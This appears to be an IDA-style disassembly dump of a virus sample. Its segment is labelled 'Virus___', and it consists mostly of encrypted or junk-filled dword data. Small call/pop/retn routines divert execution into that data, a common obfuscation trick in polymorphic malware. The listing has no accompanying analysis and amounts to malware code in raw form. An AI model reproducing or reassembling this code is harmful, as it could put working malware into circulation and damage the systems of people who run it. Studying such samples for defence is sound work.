		dd 0C0858B07h, 6A071EABh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0F427C353h,	0A5CF71BBh
		dd 11E921h, 41B20000h, 6A9B441Dh, 0A652B552h, 0D355F054h
		dd 0C7A8A69Eh, 1800h, 25958900h, 8B071B2Ah, 1EABC4B5h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0AF6B1A0h, 149858Bh, 8960071Bh, 1B1139B5h
		dd 8961F807h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 8B50C8E9h, 1B30E585h, 0E19D8907h
		dd 89071B15h, 0B5310446h, 71B2E61h, 0E9525050h,	7, 4432DF36h
		dd 0FC62406h, 0DE831h, 82920000h, 79D8721Ah, 0EACB4E61h
		dd 0E897B771h, 0Fh, 0E9D4E3D2h,	457B50C8h, 0B4BAC275h
		dd 5F2D78F3h, 89585A5Bh, 6E92434h, 50000000h, 535B422Ah
		dd 3FD781F7h, 0FF65E12Bh, 1EABC0B5h, 55006A07h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 9D892935h
		dd 71B3309h, 68FE8B66h,	4754B64h, 4F6DBF66h, 9B243481h
		dd 89046A48h, 1B23AD95h, 0C8858D07h, 0B3071EABh, 60605003h
		dd 6E8h, 5A887400h, 5B2B6887h, 12E9h, 0C9F5DB00h, 0F1570E5Ah
		dd 0D8A4FF44h, 9C172B6Bh, 611558B7h, 8961F08Ah,	8D892404h
		dd 71B2289h, 4E995FFh, 8166071Bh, 61B62EF7h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0C7C35343h, 14E8C8h
		dd 79590000h, 91FAF9B0h, 0D224874h, 605A03A1h, 8E613933h
		dd 8E9A322h, 75000000h,	0F1E1F080h, 5F30CF2Eh, 18CD85C7h
		dd 3071Bh, 39BB0000h, 83317889h, 1EABC8BDh, 840F0007h
		dd 2Fh,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h
		dd 0F3C35141h, 0E9A7B3A7h, 26h,	2EBDBD8Bh, 53BF071Bh, 5073665Dh
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 141D91C3h, 6608290Eh, 7AE8CF81h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0B2C35646h, 0D51D58EFh
		dd 0C12CECAFh, 545BD8Bh, 0BD83071Bh, 71B18CDh, 36850F03h
		dd 6A000004h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0EA4CC356h, 3D580F6Ch,	0D4C8CD01h
		dd 0ABC8BD83h, 0F00071Eh, 40484h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0A45EE647h
		dd 285BC109h, 0B5894444h, 71B2D25h, 0ABC8B5FFh,	6A071Eh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0E6C909C3h, 190201B8h, 0C381122Dh, 7A063616h, 9A595FFh
		dd 6A071Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0FCC3CC3h, 0B58BDEB7h, 71EABBCh, 32DD8589h
		dd 6C7071Bh, 10001h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 72C35343h, 957ACA06h,	50CF4EBDh, 0D5BBBF50h
		dd 34890A42h, 51BD2324h, 0FF071B27h, 1EABC8B5h,	56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 0CF239854h, 0F98B66DFh, 89CCDF80h, 1B2C49BDh, 6195FF07h
		dd 2B071B35h, 1B33A1BDh, 0BCB58B07h, 6A071EABh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 8BB2C356h, 11858BFBh, 8A071B04h, 0C48689DEh,	0BB000000h
		dd 333858A2h, 29B5958Bh, 6A071Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 4EFD92C3h, 94028A0Fh
		dd 6840F97h, 89000000h,	1B26E98Dh, 4C28307h, 8D38166h
		dd 2050895Dh, 14BF6660h, 61C78BACh, 0BFF9858Dh
		dd 9D89071Eh, 71B32CDh,	0B88689h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0E1E286C3h
		dd 0BF6697F3h, 6AC9ABh,	0C3C5BF66h, 0ABC8B5FFh,	0FFF9071Eh
		dd 1B09DD95h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 60E5161Dh, 0BD8B94D4h, 71B3121h
		dd 3791BB96h, 96506DB1h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ch, 33C35141h, 0E930EB01h, 5EF95BCh, 2D799D8Bh
		dd 0F8B7071Bh, 0ABC8B5FFh, 830F071Eh, 6, 30AD9D8Bh, 95FF071Bh
		dd 71B0341h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	99C35141h, 55C34485h, 0B07DBEA4h, 2431BD83h, 0F00071Bh
		dd 6E84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 0CD22884Ch, 834B9CEBh, 318D8589h
		dd 0BF0F071Bh, 0B86096FFh, 480A2267h, 0FC0BB866h, 8B665061h
		dd 6A96D9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 0D99C61C3h, 84A42B3Ah, 858B601Bh,	71B27D9h
		dd 1EE18589h, 0FF61071Bh, 1EABC8B5h, 53006A07h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 95FF548Bh
		dd 71B18A5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	2BC35646h, 0DFEB86F7h, 0FFA8C8D1h, 1EABC8B5h, 39E78107h
		dd 95EAC81h, 1B0E7185h,	3D95FF07h, 6A071B29h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 7E24C355h, 9D89F806h, 71B0D69h, 28F1BD83h, 0F02071Bh
		dd 5E84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 0E3569A99h, 0BAB3BD78h, 20519D8Bh
		dd 858B071Bh, 71B007Dh,	3880Fh,	8B660000h, 0C6DFh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0DC35141h, 97312284h
		dd 0C7A43C23h, 1B099185h, 7, 50006A00h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 88DAF21Fh
		dd 8BFF3770h, 1B26E9BDh, 0F364E907h, 6AFFFFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 9CACB8C3h
		dd 0BBB2103Ah, 7D087ADAh, 6AC18Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 0B34E19C3h, 94C68E1Dh
		dd 0DBBF0F4Bh, 8166F98Bh, 8D9E8DEBh, 1B125585h,	52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 0C30358B5h, 0DB2C7E8Ah, 15BD8BDAh, 90071B2Bh, 13E8h
		dd 737B7600h, 0C7BFC543h, 99A46EDCh, 0E58CA359h, 698F4CBEh
		dd 4830Fh, 0BF660000h, 505FE410h, 14E9h, 0A8541E00h, 70B744E9h
		dd 745CFFECh, 0F145EF55h, 74BD6BCAh, 6A90B4h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 54C516C3h
		dd 3DBD8BA9h, 0E8071B2Ch, 8, 9B9510B3h,	3ACD0BA5h, 12E8h
		dd 50C9BB00h, 5DB57F32h, 5669A89h, 21E4A52Ah, 135906Ah
		dd 1B057D85h, 6A5B5B07h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 6A006AB7h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 40CEC357h
		dd 0FF5F328h, 68Ch, 0D9BD8B00h,	66071B32h, 858DFE8Bh, 71F3BF7h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F5C35242h
		dd 244C2DDBh, 8312C6E4h, 0B70F05C0h, 48950DBh, 9850124h
		dd 6A071B04h, 0E7816600h, 0BD8BF4D9h, 71B1489h,	3360006Ah
		dd 1B1A79B5h, 0C1BD3307h, 61071B24h, 1EA995FFh,	8D09071Bh
		dd 71B2ECDh, 979C8D8Dh,	6A071Eh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 0D1FF0CC3h, 3459BD8Bh
		dd 0BD83071Bh, 71B2105h, 86850F01h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0B5EBC357h, 1E34E871h, 8D9D8BB3h, 89071B2Bh,	1B32C5B5h
		dd 79BD0307h, 6A071B18h, 0DA00BB02h, 840F1C84h,	6, 0D419D89h
		dd 6050071Bh, 3255B866h, 5E616051h, 24048961h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0A8C35646h, 9D7A02h
		dd 0EB816639h, 95FF2F49h, 71B09DDh, 148D15BBh, 0E76E97Fh
		dd 0E80000h, 5D000000h,	3C01ED81h, 0B529071Fh, 71B33F1h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0B7C35545h
		dd 2858DA7h, 6A071E92h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 33BFC356h, 87B0A7EEh
		dd 58BB6660h, 6124B118h, 11C58589h, 0E890071Bh,	8, 0CEC8C7BBh
		dd 0D5A3B0E3h, 505FA3B7h, 6A90F88Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0FB1CC351h
		dd 35FF6467h, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_57EE0F
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57EE0F	proc near		; CODE XREF: Virus___:0057EE07p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_57EE0F	endp

; ---------------------------------------------------------------------------
aTccDcflDi	db '±Ð}âæCÎdæf‹Ød‰%',0
		align 10h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 12A3F7C3h, 8B6A4A8Ch, 8957A889h, 1B05658Dh
		dd 95895F07h, 71B1C09h,	264D85FFh, 6A071Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0A0DC21C3h
		dd 81661BCCh, 6A6B36D7h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 8AA96030h, 0A1B5FFD8h
		dd 6A071B05h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 0D0CC356h, 0E2C7C5DBh,	0BD8B09D8h
		dd 71B0E3Dh, 2F4595FFh,	6DE9071Bh, 89000001h, 1B25D9BDh
		dd 31BD8B07h, 0B0071B2Ch, 81666000h, 3A8E6E3h, 1B0B6D9Dh
		dd 70E66107h, 2226BB66h, 0B70F71E4h, 0F613CFFh,	13F83h
		dd 858B6000h, 71B0145h,	0B60F61F8h, 0F98B66C8h,	6BAh, 7E900h
		dd 11DD0000h, 2A64126Bh, 14E96Eh, 7C080000h, 39C3C8A2h
		dd 147EC2D1h, 9921E551h, 0EFCA5D7Ch, 0C18B5720h, 0EE8h
		dd 994B6200h, 0FEE49C76h, 0DE99A394h, 0E821AC0Bh, 11h
		dd 0E1E465CDh, 0D2C6A41Dh, 0DDCB47h, 2BC1F979h,	12E905h
		dd 0CEE70000h, 5F3D36E0h, 0D9CCBE65h, 4DBAB54Ah, 485EA2C2h
		dd 0E8C15B5Fh, 4CECBF04h, 0F76626A2h, 0FE8B66E2h, 0DE9C82Bh
		dd 0A5000000h, 0AF18725Ah, 59977769h, 6E9E8BC1h, 0FE8D18Bh
		dd 1A000000h, 5BF13AAh,	1C197339h, 0B0024EA6h, 860F8DE8h
		dd 5, 8EEB8166h, 3E95F33h, 80000000h, 858B93D3h, 71B2619h
		dd 2CE541BFh, 7C08378h,	0C7F38166h, 0C0832Bh, 31C1B589h
		dd 0D03B071Bh, 1B830Fh,	0FEBB0000h, 0E97312E2h,	48h, 6810Fh
		dd 95310000h, 71B0345h,	0B9C38166h, 0A58D8BB5h,	51071B17h
		dd 4EF14FBFh, 0E1835F60h, 21840F01h, 0F000000h,	0C381D8BFh
		dd 295A17CBh, 17A5A583h, 89FE071Bh, 1B261995h, 919D8B07h
		dd 0E9071B24h, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+71ECD42h]
		push	0
		push	ecx
		call	sub_57F069
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57F069	proc near		; CODE XREF: Virus___:0057F061p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_57F069	endp

; ---------------------------------------------------------------------------
		db 59h,	39h, 1Fh
		dd 668991E9h, 977A38Ah,	1B348D8Dh, 6A006A07h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 0B632C352h, 513C5E6Eh, 9D0352BDh, 71B1789h, 128995FFh
		dd 8F0F071Bh, 6, 3ED9D8Bh, 57B9071Bh, 0F000008h, 0E183D8B7h
		dd 55006AFCh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 0C8719546h, 0FC6649C8h, 9A7FDBBFh, 0B824h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 0E1D366C3h, 9D8B3CF2h, 71B0429h, 2950D22Bh
		dd 1B0CE995h, 33AD5F07h, 3E8D1C2h, 4E983D0h, 8BF8F475h
		dd 1B33AD9Dh, 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 3159E76Eh, 2DC58501h, 880D071Bh
		dd 0F000000h, 958BFAB7h, 71B29B5h, 32B5B589h, 8D8B071Bh
		dd 71B02F5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	71C35343h, 0FE8B6682h, 8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 0EE85818h, 0BA000000h, 72CA8E59h,	0CF78F528h
		dd 42F945Ah, 1CF7808Ah,	89BD8B5Bh, 83071B2Eh, 1B2165BDh
		dd 840F0007h, 9Ah, 1189BD8Bh, 0B8071Bh,	6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0BB0AC355h, 0F656677Ch, 0B70F5751h, 898D8DFBh, 6A071B4Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 521EC353h, 23BD9D0Bh, 0E95B071Bh,	13h, 0D7AF8643h
		dd 20A487A6h, 0F69365F2h, 905406F4h, 0FFF1437Fh, 52006AE1h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 9622F376h, 0F78166E2h, 0BD83087Ah, 71B18CDh,	0A8840F00h
		dd 0E9000003h, 0Ah, 4CD86FE9h, 57D0EB61h, 0BD8300D3h, 71B18CDh
		dd 0A7840F01h, 6A000003h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 5F5BC353h, 0DA4E0E33h
		dd 83C547FCh, 1B18CDBDh, 860F0307h, 340h, 6A60FB8Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0B98FC351h, 0B39682F6h, 0D98C66AFh, 31A98D89h, 0E180071Bh
		dd 5DBD8B04h, 0A071B2Eh, 0E3840FC9h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0D100C350h, 79A60EBh, 2ABBA07Ah, 8B0604D0h, 1B30E585h
		dd 0E99BB307h, 7, 358133C8h, 333C47FDh,	1B305585h, 0E7816607h
		dd 0F504D40h, 28Bh, 89FB8B00h, 0B5892404h, 71B1499h, 8166006Ah
		dd 68577BDBh, 2779F4A7h, 58243481h, 6A2766F7h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0FA8FC355h, 58763D57h, 77F325BBh, 0E995FF61h, 66071B04h
		dd 89C232BFh, 1EABC885h, 51006A07h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 0FC04C927h, 791A93C9h
		dd 7E96033h, 0E5000000h, 0BDED6094h, 0BF0FAC56h, 0E9F561C6h
		dd 1A4h, 2F159D8Bh, 858B071Bh, 71EABC0h, 0A5C78166h, 0BE8AEh
		dd 0EAA20000h, 0BED1DDE2h, 7A65A380h, 8E986h, 1B010000h
		dd 59041403h, 0C75F3860h, 1800h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 3CBD633Fh
		dd 14699D03h, 0DB81071Bh, 12572Dh, 0ABC4B58Bh, 858B071Eh
		dd 71B0149h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	0E6C35242h, 0E78E0C88h,	0C9B58939h, 89071B04h
		dd 9D9D0906h, 53071B18h, 0E5858B5Bh, 89071B30h,	1B2E898Dh
		dd 4468907h, 2365BD29h,	8950071Bh, 6A2434h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 1229A8C3h
		dd 0DD428C2Ah, 0B5FF8071h, 71EABC0h, 68DEB70Fh,	4230170h
		dd 0DCE0BF66h, 8F243481h, 6A043C02h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 590DC355h
		dd 0BBBF0BBFh, 59DE4FCBh, 18C5BD8Bh, 858D071Bh,	71EABC8h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 1CC35747h
		dd 150450CBh, 0FE99456h, 62000000h, 0E39E064Eh,	7F3979C0h
		dd 289BD2B2h, 8E95F84h,	1D000000h, 37BBA32Eh, 50A57660h
		dd 7E9h, 2060B100h, 1D987E5Eh, 66240489h, 95FFDA8Bh, 71B04E9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0EFC35242h
		dd 0CA99BD9h, 0F9BF0F79h, 5E961h, 9D990000h, 0C7076D7Dh
		dd 1B18CD85h, 307h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 0C327AE18h, 76D0E4CEh
		dd 0F9B70F56h, 0C8BD835Bh, 71EABh, 36840Fh, 8E0F0000h
		dd 1, 45E9FCh, 6A0000h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 684FF4C3h, 1F0B5F23h, 0BB562C8Bh
		dd 1E3E8E00h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 6AC08B00h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 31D1C352h, 41353DE4h, 0DBD8B3Eh
		dd 83071B17h, 1B18CDBDh, 850F0307h, 4FBh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 18h, 10C35141h, 0EADF9E0Ah
		dd 66F88B66h, 46AAEF81h, 0BE9h,	0F848FA00h, 0A2D0B01Ah
		dd 69CC6ED4h, 0ABC8BD83h, 0F00071Eh, 4B684h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 94803960h, 0C8B5FF9Dh, 6A071EABh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0F16C353h
		dd 6FFEC162h, 13E960h, 0E2440000h, 4B9F34A7h, 0CCE76BC4h
		dd 50258030h, 0AC32771Eh, 0C0BF0FDEh, 0A595FF61h, 0E9071B09h
		dd 10h,	1176C428h, 0CD433B4Eh, 640AD6E2h, 0A2FAE0A2h, 0ABBCB58Bh
		dd 6A071Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 600CFAC3h, 106C7h, 6A0001h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 0DCC150C3h
		dd 13E8h, 0E87E2E00h, 9B81A15Bh, 0E007C0F1h, 8A204CE9h
		dd 7C59F85Dh, 2C0D9D8Bh, 505B071Bh, 34897BB7h, 0B9666024h
		dd 0CE8A5D6h, 68000000h, 0B4DB16DBh, 9ED5E272h,	8B8D94B0h
		dd 1B2C51B5h, 0FF615807h, 1EABC8B5h, 55006A07h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 9AD018CDh
		dd 0C5BD2356h, 5F071B20h, 356195FFh, 9D8B071Bh,	71B35E1h
		dd 1635B589h, 0B58B071Bh, 71EABBCh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 23C35343h, 4995EE71h, 870F6BE9h
		dd 9, 3870Fh, 0EB800000h, 95BD89BCh, 8B071B05h,	1B041185h
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 1417730Fh, 600D7BD8h, 0DE824ACh
		dd 0D6000000h, 0E33DB2C0h, 0E0C76369h, 68B3ABA9h, 9E9h
		dd 8F7E3F00h, 6E87006Bh, 895F9B1Dh, 0C486h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 528D22C8h, 9946EA2Eh, 958B005Bh, 71B29B5h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 90C35747h, 7C5E2E5Eh
		dd 563147B8h, 0DBF7BF66h, 4C2835Bh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 0ADC35646h,	0C78166D8h, 50899F22h
		dd 51006A20h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 762D75FEh, 0BBB57C8h, 9D8B3B0Bh,	71B2B55h
		dd 0BFF9858Dh, 7E9071Eh, 1E000000h, 0C869A611h,	8689AAD0h
		dd 0B8h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 14h,	0A1C35242h, 0EE8h, 9E8BC100h, 83B2B66Eh, 0CEE89B92h
		dd 0E8BDB643h, 10h, 0B009D5FFh,	0C5AA3CE9h, 0CF24D5B0h
		dd 7EA1CE56h, 6A5F5Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0D8C35242h, 6AC1D60Bh, 0D9CE5E30h, 8D296060h
		dd 71B0101h, 3545B58Bh,	3161071Bh, 1B296195h, 0BF0F6107h
		dd 0C8B5FFD9h, 0E9071EABh, 14h,	88F054Dh, 98859DCh, 7FF140CDh
		dd 0C50A113Ah, 84E8A1D0h, 9DD95FFh, 9589071Bh, 71B31A5h
		dd 24348950h, 33098D29h, 0B5FF071Bh, 71EABC8h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 27C35242h, 95899DF3h
		dd 71B26ADh, 34195FFh, 0BD83071Bh, 71B2431h, 4A840F00h
		dd 29000000h, 1B144DB5h, 0D6BB9607h, 505E0A8Eh,	96FA8B66h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 3BC35545h
		dd 0E8144334h, 0Eh, 4E03F535h, 0D707FD75h, 242C214Eh, 9D8B32C4h
		dd 71B30C5h, 0C8B5FF5Bh, 6A071EABh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 5898C355h
		dd 0CA6533CCh, 18A595FFh, 10E8071Bh, 0E5000000h, 3A8CE2B3h
		dd 0ACFBD360h, 0DBA24171h, 81B88320h, 158AAECFh, 0EE95F3Eh
		dd 0F5000000h, 5FFFE5EFh, 15EFA5B7h, 7254988Fh,	0C8B5FF42h
		dd 9071EABh, 1B0A05BDh,	3D95FF07h, 8B071B29h, 1B26FD9Dh
		dd 0C5958907h, 83071B00h, 1B28F1BDh, 840F0207h,	3Bh, 8683FBBFh
		dd 27BF6600h, 7D858BB1h, 6A071B00h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 7C85C351h
		dd 0C66909h, 81666000h,	0F313ED7h, 0C761F6BFh, 1B099185h
		dd 7, 0C820F00h, 0F000000h, 68Ch, 259D8900h, 0E9071B0Dh
		dd 0FFFFF2F7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	1AC35747h, 0FFB29B3h, 0C18BFFBFh, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 18h, 0C6C35545h, 9BEEDF42h
		dd 1255858Dh, 6A071Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 7612DDC3h, 0D7466067h, 2ABF6607h
		dd 850F9090h, 4, 0F2D2BF66h, 0D98B6650h, 56006A90h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 0C868BEE9h, 5D8D8969h, 89071B2Ah, 1B0669BDh,	95B52907h
		dd 6A071B04h, 8B006A00h, 59858DD9h, 6A071F4Ch, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0E9A4C356h, 9, 2D0DF6BAh, 0FE0244BEh, 10E92Ah, 83870000h
		dd 13C19111h, 9EF7D39Ch, 822F22A2h, 0BD2B6D55h,	71B2961h
		dd 0F05C083h, 0F50DABFh, 218Fh,	66525000h, 0FA4E4BBh, 12E931h
		dd 0BBF50000h, 0FA9C6CD1h, 5E839E26h, 0A133683Fh, 0B8C973E9h
		dd 489585Ah, 51006A24h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 80852CB0h, 0BD318DDBh, 71B2809h
		dd 8E0F006Ah, 9, 38B0Fh, 0B70F0000h, 0F006ADBh,	0E957F8B7h
		dd 9, 0F98AF41Ah, 52DD3D7Ch, 95FF5F5Eh,	71B1EA9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 51C35545h, 0DDC84C71h
		dd 1F8BD08Fh, 2C5DBD8Bh, 8D8D071Bh, 71E979Ch, 0D1FF13B3h
		dd 985111BBh, 2AC38050h, 2105BD83h, 0F01071Bh, 5A85h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 8B412687h, 1B2A419Dh, 6A026A07h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 50E9C353h
		dd 60C2AB12h, 504B3E0Bh, 0FF240489h, 1B09DD95h,	0C1B58907h
		dd 0E9071B11h, 0F75h, 0E8h, 0ED815D00h,	71F4C63h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0D2C35646h, 0A5D4CFF2h
		dd 6A31936Eh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 6345C353h, 76A2AAC3h, 35551A77h
		dd 2858DF5h, 6A071E92h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 0B481C350h,	0F8E61F90h
		dd 0F3DFBF50h, 4892AF3h, 0DE8B6624h, 35FF64h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 1E4CC350h, 0E3D8D89h, 8964071Bh, 25h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 8EE3A1Ah, 584358F5h,	8B665311h, 85FF5FFAh, 71B264Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0D8C35040h
		dd 0DCE8A9AFh, 0FBDFF5B9h, 0E827E780h, 0Dh, 13DB93B8h
		dd 0DCDC9DDEh, 5F0641EDh, 0E99589B4h, 5B071B2Ch, 6AFF6Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 39D1DEC3h, 0E1B5FF67h, 66071B24h, 9F4DE781h,	28EDBD89h
